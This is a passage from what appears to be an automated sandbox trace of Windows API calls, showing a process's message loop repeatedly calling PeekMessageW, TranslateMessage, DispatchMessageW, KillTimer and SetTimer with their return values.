(lpMsg=0xbdf794) returned 0x0 [0182.158] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.159] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.174] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.174] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.174] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.174] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.174] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.189] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.189] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.189] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.190] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.190] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.205] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.205] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.205] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.206] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.206] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.221] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.221] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.221] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.221] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.221] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.236] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.236] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.236] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.236] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.236] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.252] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.252] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.252] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.253] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.253] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.268] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.268] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.268] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.268] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.268] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.283] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.283] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.283] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.283] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.283] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.299] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.299] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.299] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.299] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.299] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.315] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.315] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.316] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.316] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.316] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.330] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.330] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.330] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.330] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.330] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.346] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.346] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.346] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.346] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.346] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.361] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.361] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.361] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.361] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.362] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.377] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.377] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.377] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.377] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.377] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.393] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.393] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.393] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.393] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.394] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.409] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.409] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.409] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.409] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.409] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.425] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.425] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.425] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.425] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.425] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.442] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.442] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.442] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.442] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.443] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.455] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.455] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.455] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.455] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.456] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.478] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.478] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.478] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.478] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.478] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.486] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.486] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.486] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.486] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.486] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.502] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.502] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.502] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.502] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.502] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.531] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.531] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.531] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.531] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.531] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.533] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.533] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.533] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.533] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.533] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.549] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.549] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.549] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.549] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.549] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.564] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.564] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.565] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.565] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.565] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.582] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.582] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.582] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.582] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.582] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.596] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.596] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.596] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.596] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.596] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.611] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.611] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.611] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.611] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.611] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.627] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.627] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.627] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.627] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.627] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.642] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.642] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.642] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.643] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.643] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.697] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.697] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.697] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.697] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.697] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.705] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.705] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.705] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.705] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.705] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.721] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.721] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.721] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.721] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.737] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.737] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.737] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.737] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.738] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.752] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.752] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.752] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.752] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.752] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.768] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.768] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.768] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.768] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.768] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.784] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.784] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.784] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.784] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.784] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.799] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.799] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.799] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.799] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.799] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.889] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0182.889] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0182.889] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.889] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.889] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0182.892] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.893] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.893] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.893] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0182.991] TranslateMessage (lpMsg=0xbdf794) returned 0 [0182.991] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0182.991] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0182.991] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0182.991] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.018] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.018] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.018] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.019] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.019] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.105] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0183.105] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0183.105] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.106] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.106] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0183.139] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.139] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.139] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.139] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.139] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.143] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.143] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.143] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.143] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.143] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.241] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.241] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.241] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.241] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.241] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.315] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0183.315] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0183.315] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.315] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.315] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0183.356] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.356] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.356] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.357] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.357] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.378] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.379] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.379] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.379] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.393] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.393] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.393] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.393] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.409] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.409] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.409] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.409] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.409] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.424] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.424] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.424] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.424] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.424] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.440] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.440] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.440] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.440] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0183.440] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0183.460] TranslateMessage (lpMsg=0xbdf794) returned 0 [0183.460] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0183.460] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0183.460] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 